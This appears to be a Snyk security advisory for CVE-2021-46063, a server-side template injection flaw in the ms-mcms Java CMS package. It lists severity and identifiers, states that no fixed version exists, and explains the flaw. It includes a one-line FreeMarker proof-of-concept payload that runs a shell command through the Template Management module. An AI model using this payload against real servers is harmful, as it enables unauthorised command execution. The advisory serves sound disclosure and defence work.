Server-side Template Injection (SSTI) Affecting net.mingsoft:ms-mcms package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (48th percentile)

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  • Snyk IDSNYK-JAVA-NETMINGSOFT-2407591
  • published20 Feb 2022
  • disclosed20 Feb 2022
  • creditn1ec

Introduced: 20 Feb 2022

CVE-2021-46063  (opens in a new tab)
CWE-94  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

There is no fixed version for net.mingsoft:ms-mcms.

Overview

Affected versions of this package are vulnerable to Server-side Template Injection (SSTI) via the Template Management module, where it is possible to add a template with a crafted payload in order to execute commands on the underlaying server.

PoC

<#assign value="freemarker.template.utility.Execute"?new()>${value("whoami")}

References

CVSS Scores

version 3.1